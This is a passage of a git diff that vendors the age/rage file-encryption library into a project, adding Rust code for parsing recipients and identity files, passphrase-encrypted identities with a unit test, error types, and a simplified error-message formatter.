`self.inner` to outside the conditional, which would prevent us + // from performing other mutable operations on the other side. + Ok(&self.inner.fill_buf()?[consumed..]) + } else if inner_len < PEEKABLE_SIZE { + // We have read the entire file into a single buffer and consumed all + // of it. Don't fall through to change the state to `Reading`, because + // we can always reset a single-buffer stream. + // + // Note that we cannot distinguish between the file being the exact + // same size as our buffer, and the file being larger than it. But + // this only becomes relevant if we cannot distinguish between the + // kinds of identity files we support parsing, within a single buffer. + // We should always be able to distinguish before then, because we + // parse in the following order: + // + // - Encrypted identities, which are parsed incrementally as age + // ciphertexts with optional armor, and can be detected in at most + // 70 bytes. + // - SSH identities, which are parsed as a PEM encoding and can be + // detected in at most 36 bytes. + // - Identity files, which have one identity per line and therefore + // can have arbitrarily long lines. We intentionally try this format + // last. + assert_eq!(consumed, inner_len); + Ok(&[]) + } else { + // We're done peeking. + self.inner.consume(consumed); + self.state = PeekState::Reading; + self.inner.fill_buf() + } + } + PeekState::Reading => self.inner.fill_buf(), + } + } + + fn consume(&mut self, amt: usize) { + match &mut self.state { + PeekState::Peeking { consumed, .. } => *consumed += amt, + PeekState::Reading => self.inner.consume(amt), + } + } +} diff --git a/lib/rage/age/src/cli_common/recipients.rs b/lib/rage/age/src/cli_common/recipients.rs new file mode 100644 index 0000000..913a832 --- /dev/null +++ b/lib/rage/age/src/cli_common/recipients.rs @@ -0,0 +1,206 @@ +use std::io::{self, BufReader}; + +use super::StdinGuard; +use super::{identities::parse_identity_files, ReadError}; +use crate::identity::RecipientsAccumulator; +use crate::{x25519, Recipient}; + +#[cfg(feature = "plugin")] +use crate::{cli_common::UiCallbacks, plugin}; + +#[cfg(not(feature = "plugin"))] +use std::convert::Infallible; + +#[cfg(feature = "ssh")] +use crate::ssh; + +#[cfg(any(feature = "armor", feature = "plugin"))] +use crate::EncryptError; + +/// Handles error mapping for the given SSH recipient parser. +/// +/// Returns `Ok(None)` if the parser finds a parseable value that should be ignored. This +/// case is for handling SSH recipient types that may occur in files we want to be able to +/// parse, but that we do not directly support. +#[cfg(feature = "ssh")] +fn parse_ssh_recipient( + parser: F, + invalid: G, + filename: &str, +) -> Result>, ReadError> +where + F: FnOnce() -> Result, + G: FnOnce() -> Result>, ReadError>, +{ + use ssh::{ParseRecipientKeyError, UnsupportedKey}; + + match parser() { + Ok(pk) => Ok(Some(Box::new(pk))), + Err(e) => match e { + ParseRecipientKeyError::Ignore => Ok(None), + ParseRecipientKeyError::Invalid(_) => invalid(), + ParseRecipientKeyError::RsaModulusTooLarge => Err(ReadError::RsaModulusTooLarge), + ParseRecipientKeyError::RsaModulusTooSmall => Err(ReadError::RsaModulusTooSmall), + ParseRecipientKeyError::Unsupported(key_type) => Err(ReadError::UnsupportedKey( + filename.to_string(), + UnsupportedKey::from_key_type(key_type), + )), + }, + } +} + +/// Parses a recipient from a string. +fn parse_recipient( + _filename: &str, + s: String, + recipients: &mut RecipientsAccumulator, +) -> Result<(), ReadError> { + if let Ok(pk) = s.parse::() { + recipients.push(Box::new(pk)); + } else if let Some(pk) = { + #[cfg(feature = "ssh")] + { + parse_ssh_recipient(|| s.parse::(), || Ok(None), _filename)? + } + + #[cfg(not(feature = "ssh"))] + None + } { + recipients.push(pk); + } else if let Some(_recipient) = { + #[cfg(feature = "plugin")] + { + // TODO Do something with the error? + s.parse::().ok() + } + + #[cfg(not(feature = "plugin"))] + None:: + } { + #[cfg(feature = "plugin")] + recipients.push_plugin(_recipient); + } else { + return Err(ReadError::InvalidRecipient(s)); + } + + Ok(()) +} + +/// Reads file contents as a list of recipients +fn read_recipients_list( + filename: &str, + buf: R, + recipients: &mut RecipientsAccumulator, +) -> Result<(), ReadError> { + for (line_number, line) in buf.lines().enumerate() { + let line = line?; + + // Skip empty lines and comments + if line.is_empty() || line.find('#') == Some(0) { + continue; + } else if let Err(_e) = parse_recipient(filename, line, recipients) { + #[cfg(feature = "ssh")] + match _e { + ReadError::RsaModulusTooLarge + | ReadError::RsaModulusTooSmall + | ReadError::UnsupportedKey(_, _) => { + return Err(io::Error::new(io::ErrorKind::InvalidData, _e.to_string()).into()); + } + _ => (), + } + + // Return a line number in place of the line, so we don't leak the file + // contents in error messages. + return Err(ReadError::InvalidRecipientsFile { + filename: filename.to_owned(), + line_number: line_number + 1, + }); + } + } + + Ok(()) +} + +/// Reads recipients from the provided arguments. +/// +/// `recipients_file_strings` and `identity_strings` may collectively contain at most one +/// entry of `"-"`, which will be interpreted as reading from standard input. An error +/// will be returned if `stdin_guard` is guarding an existing usage of standard input. +pub fn read_recipients( + recipient_strings: Vec, + recipients_file_strings: Vec, + identity_strings: Vec, + max_work_factor: Option, + stdin_guard: &mut StdinGuard, +) -> Result>, ReadError> { + let mut recipients = RecipientsAccumulator::new(); + + for arg in recipient_strings { + parse_recipient("", arg, &mut recipients)?; + } + + for arg in recipients_file_strings { + let f = stdin_guard.open(arg.clone()).map_err(|e| match e { + ReadError::Io(e) if matches!(e.kind(), io::ErrorKind::NotFound) => { + ReadError::MissingRecipientsFile(arg.clone()) + } + _ => e, + })?; + let buf = BufReader::new(f); + read_recipients_list(&arg, buf, &mut recipients)?; + } + + parse_identity_files::<_, ReadError>( + identity_strings, + max_work_factor, + stdin_guard, + &mut recipients, + #[cfg(feature = "armor")] + |recipients, identity| { + recipients.extend(identity.recipients().map_err(|e| { + // Only one error can occur here. + if let EncryptError::EncryptedIdentities(e) = e { + ReadError::EncryptedIdentities(e) + } else { + unreachable!() + } + })?); + Ok(()) + }, + #[cfg(feature = "ssh")] + |recipients, filename, identity| { + let recipient = parse_ssh_recipient( + || ssh::Recipient::try_from(identity), + || Err(ReadError::InvalidRecipient(filename.to_owned())), + filename, + )? + .expect("unsupported identities were already handled"); + recipients.push(recipient); + Ok(()) + }, + |recipients, identity_file| { + recipients.with_identities(identity_file); + Ok(()) + }, + )?; + + recipients + .build( + #[cfg(feature = "plugin")] + UiCallbacks, + ) + .map_err(|_e| { + // Only one error can occur here. + #[cfg(feature = "plugin")] + { + if let EncryptError::MissingPlugin { binary_name } = _e { + ReadError::MissingPlugin { binary_name } + } else { + unreachable!() + } + } + + #[cfg(not(feature = "plugin"))] + unreachable!() + }) +} diff --git a/lib/rage/age/src/encrypted.rs b/lib/rage/age/src/encrypted.rs new file mode 100644 index 0000000..4570a2b --- /dev/null +++ b/lib/rage/age/src/encrypted.rs @@ -0,0 +1,291 @@ +//! The "encrypted age identity file" identity type. + +use std::{cell::Cell, io}; + +use crate::{fl, scrypt, Callbacks, DecryptError, Decryptor, EncryptError, IdentityFile}; + +/// The state of the encrypted age identity. +enum IdentityState { + Encrypted { + decryptor: Decryptor, + max_work_factor: Option, + callbacks: C, + }, + Decrypted(IdentityFile), + + /// The file was not correctly encrypted, or did not contain age identities. We cache + /// this error in case the caller tries to use this identity again. The `Option` is to + /// enable implementing `Default` so we can use `Cell::take`, but we don't ever allow + /// the `None` case to persist. + Poisoned(Option), +} + +impl Default for IdentityState { + fn default() -> Self { + Self::Poisoned(None) + } +} + +impl IdentityState { + /// Decrypts this encrypted identity if necessary. + /// + /// Returns the (possibly cached) identities, and a boolean marking if the identities + /// were not cached (and we just asked the user for a passphrase). + fn decrypt(self, filename: Option<&str>) -> Result<(IdentityFile, bool), DecryptError> { + match self { + Self::Encrypted { + decryptor, + max_work_factor, + callbacks, + } => { + let passphrase = match callbacks.request_passphrase(&fl!( + "encrypted-passphrase-prompt", + filename = filename.unwrap_or_default() + )) { + Some(passphrase) => passphrase, + None => todo!(), + }; + + let mut identity = scrypt::Identity::new(passphrase); + if let Some(max_work_factor) = max_work_factor { + identity.set_max_work_factor(max_work_factor); + } + + decryptor + .decrypt(Some(&identity as _).into_iter()) + .map_err(|e| { + if matches!(e, DecryptError::DecryptionFailed) { + DecryptError::KeyDecryptionFailed + } else { + e + } + }) + .and_then(|stream| { + let file = IdentityFile::from_buffer(io::BufReader::new(stream))? + .with_callbacks(callbacks); + Ok((file, true)) + }) + } + Self::Decrypted(identity_file) => Ok((identity_file, false)), + // `IdentityState::decrypt` is only ever called with `Some`. + Self::Poisoned(e) => Err(e.unwrap()), + } + } +} + +/// An encrypted age identity file. +pub struct Identity { + state: Cell>, + filename: Option, +} + +impl Identity { + /// Parses an encrypted identity from an input containing valid UTF-8. + /// + /// `filename` is the path to the file that the input is reading from, if any. + /// + /// Returns `Ok(None)` if the input contains an age ciphertext that is not encrypted + /// to a passphrase. + pub fn from_buffer( + data: R, + filename: Option, + callbacks: C, + max_work_factor: Option, + ) -> Result, DecryptError> { + let decryptor = Decryptor::new(data)?; + Ok(decryptor.is_scrypt().then_some(Identity { + state: Cell::new(IdentityState::Encrypted { + decryptor, + max_work_factor, + callbacks, + }), + filename, + })) + } + + /// Returns the recipients contained within this encrypted identity. + /// + /// If this encrypted identity has not been decrypted yet, calling this method will + /// trigger a passphrase request. + pub fn recipients(&self) -> Result>, EncryptError> { + match self.state.take().decrypt(self.filename.as_deref()) { + Ok((identity_file, _)) => { + let recipients = identity_file.to_recipients(); + self.state.set(IdentityState::Decrypted(identity_file)); + recipients + } + Err(e) => { + self.state.set(IdentityState::Poisoned(Some(e.clone()))); + Err(EncryptError::EncryptedIdentities(e)) + } + } + } + + /// Attempts to unwrap stanzas with the identities contained within this encrypted + /// identity. + /// + /// We don't want to ask the user for the passphrase on every stanza decryption, and + /// we don't want to store the entire encrypted age identity file in memory. Instead, + /// the first time that an encrypted identity is decrypted with, we ask the caller for + /// the passphrase, and perform validity checks on the decrypted data. We then cache + /// the decrypted identities for subsequent calls. + /// + /// Because the `age::Identity` trait requires immutable references, this means that + /// we need to use interior mutability here. + fn unwrap_stanzas_base( + &self, + filter: F, + ) -> Option> + where + F: Fn( + Result, DecryptError>, + ) -> Option>, + { + match self.state.take().decrypt(self.filename.as_deref()) { + Ok((identity_file, requested_passphrase)) => { + let result = identity_file.to_identities().find_map(filter); + + // If we requested a passphrase to decrypt, and none of the identities + // matched, warn the user. + if requested_passphrase && result.is_none() { + identity_file.callbacks.display_message(&fl!( + "encrypted-warn-no-match", + filename = self.filename.as_deref().unwrap_or_default() + )); + } + + self.state.set(IdentityState::Decrypted(identity_file)); + result + } + Err(e) => { + self.state.set(IdentityState::Poisoned(Some(e.clone()))); + Some(Err(e)) + } + } + } +} + +impl crate::Identity for Identity { + fn unwrap_stanza( + &self, + stanza: &age_core::format::Stanza, + ) -> Option> { + self.unwrap_stanzas_base(|identity| match identity { + Ok(i) => i.unwrap_stanza(stanza), + Err(e) => Some(Err(e)), + }) + } + + fn unwrap_stanzas( + &self, + stanzas: &[age_core::format::Stanza], + ) -> Option> { + self.unwrap_stanzas_base(|identity| match identity { + Ok(i) => i.unwrap_stanzas(stanzas), + Err(e) => Some(Err(e)), + }) + } +} + +#[cfg(test)] +mod tests { + use std::sync::{Arc, Mutex}; + + use age_core::secrecy::{ExposeSecret, SecretString}; + + use super::Identity; + use crate::{x25519, Callbacks, DecryptError, Identity as _, Recipient as _}; + + #[cfg(feature = "armor")] + use crate::armor::ArmoredReader; + + const TEST_ENCRYPTED_IDENTITY_PASSPHRASE: &str = "foobar"; + + const TEST_ENCRYPTED_IDENTITY: &str = "-----BEGIN AGE ENCRYPTED FILE----- +YWdlLWVuY3J5cHRpb24ub3JnL3YxCi0+IHNjcnlwdCBza2I4R0t6L2NLT2s4cGlI +TTRGRjFRIDEwCnVodTdORmZjcCtjRmdnYU54bm8rZEJ5NWlrVHZLY1hyRzZEN2JE +ZVpwWnMKLS0tIEZTcDlSL3oyRC9NQ3JZa3ZvUzNaNlk4bnhBSUdJRTFrMmE4QzMr +UVNETlkK34fdtpwZz+qQaGuirGHEdodVe4JvnSG3ANQpWhkDcsRzoe/+OuHXNdnv +zhBhaKdthstzGXbd2yJbLrTH1A3YbWO+/3zTIZENzKU9XbibLLQ4M/TXwKMzoObY +oiMf5/+8GiQVREtHmm24wsc/479cVwnGVTdH7DL+wANmyf6S9Vc2FYQmXjLDxsJ0 +LMF6Cpgcg09C2gg4pcb4TFUWmDuxnZrfggrptOtyzC8O8aRuKPZqCGnzoWNOWl86 +fOrxrKTj7xCdNS3+OrCdnBC8Z9cKDxjCGWW3fkjLsYha0Jo= +-----END AGE ENCRYPTED FILE----- +"; + + const TEST_RECIPIENT: &str = "age1ysxuaeqlk7xd8uqsh8lsnfwt9jzzjlqf49ruhpjrrj5yatlcuf7qke4pqe"; + + #[derive(Clone)] + struct MockCallbacks(Arc>>); + + impl MockCallbacks { + fn new(passphrase: &'static str) -> Self { + MockCallbacks(Arc::new(Mutex::new(Some(passphrase)))) + } + } + + impl Callbacks for MockCallbacks { + fn display_message(&self, _: &str) { + unimplemented!() + } + + fn confirm(&self, _: &str, _: &str, _: Option<&str>) -> Option { + unimplemented!() + } + + fn request_public_string(&self, _: &str) -> Option { + unimplemented!() + } + + /// This intentionally panics if called twice. + fn request_passphrase(&self, _: &str) -> Option { + Some(SecretString::from( + self.0.lock().unwrap().take().unwrap().to_owned(), + )) + } + } + + #[test] + #[cfg(feature = "armor")] + fn round_trip() { + use age_core::format::FileKey; + + let pk: x25519::Recipient = TEST_RECIPIENT.parse().unwrap(); + let file_key = FileKey::new(Box::new([12; 16])); + let (wrapped, labels) = pk.wrap_file_key(&file_key).unwrap(); + assert!(labels.is_empty()); + + // Unwrapping with the wrong passphrase fails. + { + let buf = ArmoredReader::new(TEST_ENCRYPTED_IDENTITY.as_bytes()); + let identity = + Identity::from_buffer(buf, None, MockCallbacks::new("wrong passphrase"), None) + .unwrap() + .unwrap(); + + if let Err(e) = identity.unwrap_stanzas(&wrapped).unwrap() { + assert!(matches!(e, DecryptError::KeyDecryptionFailed)); + } else { + panic!("Should have failed"); + } + } + + let buf = ArmoredReader::new(TEST_ENCRYPTED_IDENTITY.as_bytes()); + let identity = Identity::from_buffer( + buf, + None, + MockCallbacks::new(TEST_ENCRYPTED_IDENTITY_PASSPHRASE), + None, + ) + .unwrap() + .unwrap(); + let unwrapped = identity.unwrap_stanzas(&wrapped); + assert_eq!( + unwrapped.unwrap().unwrap().expose_secret(), + file_key.expose_secret() + ); + + // Unwrapping a second time doesn't re-decrypt. + identity.unwrap_stanzas(&wrapped); + } +} diff --git a/lib/rage/age/src/error.rs b/lib/rage/age/src/error.rs new file mode 100644 index 0000000..5505d4d --- /dev/null +++ b/lib/rage/age/src/error.rs @@ -0,0 +1,449 @@ +//! Error type. + +use std::collections::HashSet; +use std::fmt; +use std::io; + +use crate::{wfl, wlnfl}; + +#[cfg(feature = "plugin")] +use age_core::format::Stanza; + +/// Errors returned when converting an identity file to a recipients file. +#[derive(Debug)] +pub enum IdentityFileConvertError { + /// An I/O error occurred while writing out a recipient corresponding to an identity + /// in this file. + FailedToWriteOutput(io::Error), + /// The identity file contains a plugin identity, which can be converted to a + /// recipient for encryption purposes, but not for writing a recipients file. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + IdentityFileContainsPlugin { + /// The given identity file. + filename: Option, + /// The name of the plugin. + plugin_name: String, + }, + /// The identity file contains no identities, and thus cannot be used to produce a + /// recipients file. + NoIdentities { + /// The given identity file. + filename: Option, + }, +} + +impl fmt::Display for IdentityFileConvertError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + IdentityFileConvertError::FailedToWriteOutput(e) => { + wfl!(f, "err-failed-to-write-output", err = e.to_string()) + } + #[cfg(feature = "plugin")] + IdentityFileConvertError::IdentityFileContainsPlugin { + filename, + plugin_name, + } => { + wlnfl!( + f, + "err-identity-file-contains-plugin", + filename = filename.as_deref().unwrap_or_default(), + plugin_name = plugin_name.as_str(), + )?; + wfl!( + f, + "rec-identity-file-contains-plugin", + plugin_name = plugin_name.as_str(), + ) + } + IdentityFileConvertError::NoIdentities { filename } => match filename { + Some(filename) => { + wfl!(f, "err-no-identities-in-file", filename = filename.as_str()) + } + None => wfl!(f, "err-no-identities-in-stdin"), + }, + } + } +} + +impl std::error::Error for IdentityFileConvertError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + IdentityFileConvertError::FailedToWriteOutput(e) => Some(e), + _ => None, + } + } +} + +/// Errors returned by a plugin. +#[cfg(feature = "plugin")] +#[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] +#[derive(Clone, Debug)] +pub enum PluginError { + /// An error caused by a specific identity. + Identity { + /// The plugin's binary name. + binary_name: String, + /// The error message. + message: String, + }, + /// An error caused by a specific recipient. + Recipient { + /// The plugin's binary name. + binary_name: String, + /// The recipient. + recipient: String, + /// The error message. + message: String, + }, + /// Some other error we don't know about. + Other { + /// The error kind. + kind: String, + /// Any metadata associated with the error. + metadata: Vec, + /// The error message. + message: String, + }, +} + +#[cfg(feature = "plugin")] +impl From for PluginError { + fn from(mut s: Stanza) -> Self { + assert!(s.tag == "error"); + let kind = s.args.remove(0); + PluginError::Other { + kind, + metadata: s.args, + message: String::from_utf8_lossy(&s.body).to_string(), + } + } +} + +#[cfg(feature = "plugin")] +impl fmt::Display for PluginError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + PluginError::Identity { + binary_name, + message, + } => wfl!( + f, + "err-plugin-identity", + plugin_name = binary_name.as_str(), + message = message.as_str(), + ), + PluginError::Recipient { + binary_name, + recipient, + message, + } => wfl!( + f, + "err-plugin-recipient", + plugin_name = binary_name.as_str(), + recipient = recipient.as_str(), + message = message.as_str(), + ), + PluginError::Other { + kind, + metadata, + message, + } => { + write!(f, "({}", kind)?; + for d in metadata { + write!(f, " {}", d)?; + } + write!(f, ")")?; + if !message.is_empty() { + write!(f, " {}", message)?; + } + Ok(()) + } + } + } +} + +/// The various errors that can be returned during the encryption process. +#[derive(Debug)] +pub enum EncryptError { + /// An error occured while decrypting passphrase-encrypted identities. + EncryptedIdentities(DecryptError), + /// The encryptor was given recipients that declare themselves incompatible. + IncompatibleRecipients { + /// The set of labels from the first recipient provided to the encryptor. + l_labels: HashSet, + /// The set of labels from the first non-matching recipient. + r_labels: HashSet, + }, + /// One or more of the labels from the first recipient provided to the encryptor are + /// invalid. + /// + /// Labels must be valid age "arbitrary string"s (`1*VCHAR` in ABNF). + InvalidRecipientLabels(HashSet), + /// An I/O error occurred during encryption. + Io(io::Error), + /// A required plugin could not be found. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + MissingPlugin { + /// The plugin's binary name. + binary_name: String, + }, + /// The encryptor was not given any recipients. + MissingRecipients, + /// [`scrypt::Recipient`] was mixed with other recipient types. + /// + /// [`scrypt::Recipient`]: crate::scrypt::Recipient + MixedRecipientAndPassphrase, + /// Errors from a plugin. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + Plugin(Vec), +} + +impl From for EncryptError { + fn from(e: io::Error) -> Self { + EncryptError::Io(e) + } +} + +impl Clone for EncryptError { + fn clone(&self) -> Self { + match self { + Self::EncryptedIdentities(e) => Self::EncryptedIdentities(e.clone()), + Self::IncompatibleRecipients { l_labels, r_labels } => Self::IncompatibleRecipients { + l_labels: l_labels.clone(), + r_labels: r_labels.clone(), + }, + Self::InvalidRecipientLabels(labels) => Self::InvalidRecipientLabels(labels.clone()), + Self::Io(e) => Self::Io(io::Error::new(e.kind(), e.to_string())), + #[cfg(feature = "plugin")] + Self::MissingPlugin { binary_name } => Self::MissingPlugin { + binary_name: binary_name.clone(), + }, + Self::MissingRecipients => Self::MissingRecipients, + Self::MixedRecipientAndPassphrase => Self::MixedRecipientAndPassphrase, + #[cfg(feature = "plugin")] + Self::Plugin(e) => Self::Plugin(e.clone()), + } + } +} + +fn print_labels(labels: &HashSet) -> String { + let mut s = String::new(); + for (i, label) in labels.iter().enumerate() { + s.push_str(label); + if i != 0 { + s.push_str(", "); + } + } + s +} + +impl fmt::Display for EncryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + EncryptError::EncryptedIdentities(e) => e.fmt(f), + EncryptError::IncompatibleRecipients { l_labels, r_labels } => { + match (l_labels.is_empty(), r_labels.is_empty()) { + (true, true) => unreachable!("labels are compatible"), + (false, true) => { + wfl!( + f, + "err-incompatible-recipients-oneway", + labels = print_labels(l_labels), + ) + } + (true, false) => { + wfl!( + f, + "err-incompatible-recipients-oneway", + labels = print_labels(r_labels), + ) + } + (false, false) => wfl!( + f, + "err-incompatible-recipients-twoway", + left = print_labels(l_labels), + right = print_labels(r_labels), + ), + } + } + EncryptError::InvalidRecipientLabels(labels) => wfl!( + f, + "err-invalid-recipient-labels", + labels = print_labels(labels), + ), + EncryptError::Io(e) => e.fmt(f), + #[cfg(feature = "plugin")] + EncryptError::MissingPlugin { binary_name } => { + wlnfl!(f, "err-missing-plugin", plugin_name = binary_name.as_str())?; + wfl!(f, "rec-missing-plugin") + } + EncryptError::MissingRecipients => wfl!(f, "err-missing-recipients"), + EncryptError::MixedRecipientAndPassphrase => { + wfl!(f, "err-mixed-recipient-passphrase") + } + #[cfg(feature = "plugin")] + EncryptError::Plugin(errors) => match &errors[..] { + [] => unreachable!(), + [e] => write!(f, "{}", e), + _ => { + wlnfl!(f, "err-plugin-multiple")?; + for e in errors { + writeln!(f, "- {}", e)?; + } + Ok(()) + } + }, + } + } +} + +impl std::error::Error for EncryptError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + EncryptError::EncryptedIdentities(inner) => Some(inner), + EncryptError::Io(inner) => Some(inner), + _ => None, + } + } +} + +/// The various errors that can be returned during the decryption process. +#[derive(Debug)] +pub enum DecryptError { + /// The age file failed to decrypt. + DecryptionFailed, + /// The age file used an excessive work factor for passphrase encryption. + ExcessiveWork { + /// The work factor required to decrypt. + required: u8, + /// The target work factor for this device (around 1 second of work). + target: u8, + }, + /// The age header was invalid. + InvalidHeader, + /// The MAC in the age header was invalid. + InvalidMac, + /// An I/O error occurred during decryption. + Io(io::Error), + /// Failed to decrypt an encrypted key. + KeyDecryptionFailed, + /// A required plugin could not be found. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + MissingPlugin { + /// The plugin's binary name. + binary_name: String, + }, + /// None of the provided keys could be used to decrypt the age file. + NoMatchingKeys, + /// Errors from a plugin. + #[cfg(feature = "plugin")] + #[cfg_attr(docsrs, doc(cfg(feature = "plugin")))] + Plugin(Vec), + /// An unknown age format, probably from a newer version. + UnknownFormat, +} + +impl Clone for DecryptError { + fn clone(&self) -> Self { + match self { + Self::DecryptionFailed => Self::DecryptionFailed, + Self::ExcessiveWork { required, target } => Self::ExcessiveWork { + required: *required, + target: *target, + }, + Self::InvalidHeader => Self::InvalidHeader, + Self::InvalidMac => Self::InvalidMac, + Self::Io(e) => Self::Io(io::Error::new(e.kind(), e.to_string())), + Self::KeyDecryptionFailed => Self::KeyDecryptionFailed, + #[cfg(feature = "plugin")] + Self::MissingPlugin { binary_name } => Self::MissingPlugin { + binary_name: binary_name.clone(), + }, + Self::NoMatchingKeys => Self::NoMatchingKeys, + #[cfg(feature = "plugin")] + Self::Plugin(e) => Self::Plugin(e.clone()), + Self::UnknownFormat => Self::UnknownFormat, + } + } +} + +impl fmt::Display for DecryptError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + DecryptError::DecryptionFailed => wfl!(f, "err-decryption-failed"), + DecryptError::ExcessiveWork { required, target } => { + wlnfl!(f, "err-excessive-work")?; + wfl!( + f, + "rec-excessive-work", + duration = (1 << (required - target)), + ) + } + DecryptError::InvalidHeader => wfl!(f, "err-header-invalid"), + DecryptError::InvalidMac => wfl!(f, "err-header-mac-invalid"), + DecryptError::Io(e) => e.fmt(f), + DecryptError::KeyDecryptionFailed => wfl!(f, "err-key-decryption"), + #[cfg(feature = "plugin")] + DecryptError::MissingPlugin { binary_name } => { + wlnfl!(f, "err-missing-plugin", plugin_name = binary_name.as_str())?; + wfl!(f, "rec-missing-plugin") + } + DecryptError::NoMatchingKeys => wfl!(f, "err-no-matching-keys"), + #[cfg(feature = "plugin")] + DecryptError::Plugin(errors) => match &errors[..] { + [] => unreachable!(), + [e] => write!(f, "{}", e), + _ => { + wlnfl!(f, "err-plugin-multiple")?; + for e in errors { + writeln!(f, "- {}", e)?; + } + Ok(()) + } + }, + DecryptError::UnknownFormat => { + wlnfl!(f, "err-unknown-format")?; + wfl!(f, "rec-unknown-format") + } + } + } +} + +impl From for DecryptError { + fn from(_: chacha20poly1305::aead::Error) -> Self { + DecryptError::DecryptionFailed + } +} + +impl From for DecryptError { + fn from(e: io::Error) -> Self { + DecryptError::Io(e) + } +} + +impl From for DecryptError { + fn from(_: hmac::digest::MacError) -> Self { + DecryptError::InvalidMac + } +} + +#[cfg(feature = "ssh")] +#[cfg_attr(docsrs, doc(cfg(feature = "ssh")))] +impl From for DecryptError { + fn from(_: rsa::errors::Error) -> Self { + DecryptError::DecryptionFailed + } +} + +impl std::error::Error for DecryptError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + DecryptError::Io(inner) => Some(inner), + _ => None, + } + } +} diff --git a/lib/rage/age/src/error_fmt.rs b/lib/rage/age/src/error_fmt.rs new file mode 100644 index 0000000..6278064 --- /dev/null +++ b/lib/rage/age/src/error_fmt.rs @@ -0,0 +1,170 @@ +//! Error formatting macros for age crate - simplified i18n-compatible implementation + +/// Loads a localized age string (simplified version without i18n). +#[doc(hidden)] +#[macro_export] +macro_rules! fl { + ($message_id:literal) => {{ + $crate::error_fmt::get_message($message_id) + }}; + + ($message_id:literal, $($name:ident = $value:expr),* $(,)?) => {{ + $crate::error_fmt::get_message_with_named_args($message_id, &[$((stringify!($name), &$value.to_string())),*]) + }}; +} + +/// age-localized version of the write! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wfl { + ($f:ident, $message_id:literal) => { + write!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($name:ident = $value:expr),* $(,)?) => { + write!($f, "{}", $crate::fl!($message_id, $($name = $value),*)) + }; +} + +/// age-localized version of the writeln! macro. +#[doc(hidden)] +#[macro_export] +macro_rules! wlnfl { + ($f:ident, $message_id:literal) => { + writeln!($f, "{}", $crate::fl!($message_id)) + }; + + ($f:ident, $message_id:literal, $($name:ident = $value:expr),* $(,)?) => { + writeln!($f, "{}", $crate::fl!($message_id, $($name = $value),*)) + }; +} + +/// Get a localized message by ID (simplified version without i18n). +#[doc(hidden)] +pub fn get_message(message_id: &str) -> String { + match message_id { + "err-failed-to-write-output" => format!("Failed to write output: {}", "{err}"), + "err-no-identities-in-stdin" => "No identities found in standard input".to_string(), + "err-no-identities-in-file" => format!("No identities found in file: {}", "{filename}"), + "err-plugin-multiple" => "Multiple plugin errors occurred:".to_string(), + "err-decryption-failed" => "Failed to decrypt file".to_string(), + "err-header-invalid" => "Invalid header".to_string(), + "err-header-mac-invalid" => "Invalid header MAC".to_string(), + "err-key-decryption" => "Failed to decrypt key".to_string(), + "err-no-matching-keys" => "No matching keys found".to_string(), + "err-unknown-format" => "Unknown age format".to_string(), + "err-missing-recipients" => "Missing recipients".to_string(), + "err-mixed-recipient-passphrase" => { + "Cannot combine passphrase encryption with other recipients".to_string() + } + "err-incompatible-recipients-oneway" => format!( + "Recipients with labels {} are incompatible with other recipients", + "{labels}" + ), + "err-incompatible-recipients-twoway" => format!( + "Recipients with labels {} are incompatible with recipients with labels {}", + "{left}", "{right}" + ), + "err-invalid-recipient-labels" => format!("Invalid recipient labels: {}", "{labels}"), + "err-missing-plugin" => format!("Plugin {} not found", "{plugin_name}"), + "rec-unknown-format" => { + "This file was created by a newer version of age that we do not support.".to_string() + } + "rec-excessive-work" => format!( + "This file would take {} seconds to decrypt on this device.", + "{duration}" + ), + "rec-missing-plugin" => { + "You may need to install additional software to decrypt this file.".to_string() + } + "err-identity-file-contains-plugin" => format!( + "Identity file {} contains a plugin identity ({})", + "{filename}", "{plugin_name}" + ), + "rec-identity-file-contains-plugin" => format!( + "The {} plugin does not support converting identities to recipients.", + "{plugin_name}" + ), + "encrypted-passphrase-prompt" => format!("Enter passphrase for {}", "{filename}"), + "err-plugin-identity" => format!("Plugin {} error: {}", "{plugin_name}", "{message}"), + "err-plugin-recipient" => format!( + "Plugin {} recipient {} error: {}", + "{plugin_name}", "{recipient}", "{message}" + ), + "err-excessive-work" => "This passphrase is very expensive to decrypt.".to_string(), + "encrypted-warn-no-match" => { + format!("Warning: could not decrypt identity in {}", "{filename}") + } + _ => message_id.to_string(), + } +} + +/// Get a localized message with named arguments (simplified version without i18n). +#[doc(hidden)] +pub fn get_message_with_named_args(message_id: &str, args: &[(&str, &str)]) -> String { + let mut msg = get_message(message_id); + for (name, value) in args { + msg = msg.replace(&format!("{{{}}}", name), value); + } + msg +} + +/// Get a localized message with arguments (simplified version without i18n). +#[doc(hidden)] +pub fn get_message_with_args(message_id: &str, args: &[T]) -> String { + // This is a simplified implementation that doesn't handle complex argument replacement + // For now, we'll just return the base message and append the args if needed + let mut msg = get_message(message_id); + if !args.is_empty() { + let arg_strings: Vec = args.iter().map(|a| a.to_string()).collect(); + // Simple replacement for common patterns + for (i, arg) in arg_strings.iter().enumerate() { + match i { + 0 => { + msg = msg + .replace("{err}", arg) + .replace("{filename}", arg) + .replace("{plugin_name}", arg) + .replace("{labels}", arg) + .replace("{left}", arg) + .replace("{duration}", arg) + } + 1 => msg = msg.replace("{plugin_name}", arg).replace("{right}", arg), + _ => {} + } + } + } + msg +} + +/// Helper function for backward compatibility +#[doc(hidden)] +pub(crate) fn error_string(message_id: &str) -> String { + get_message(message_id) +} + +/// Helper function for backward compatibility +#[doc(hidden)] +pub(crate) fn error_string_with_args( + message_id: &str, + args: &[(&str, T)], +) -> String { + let mut 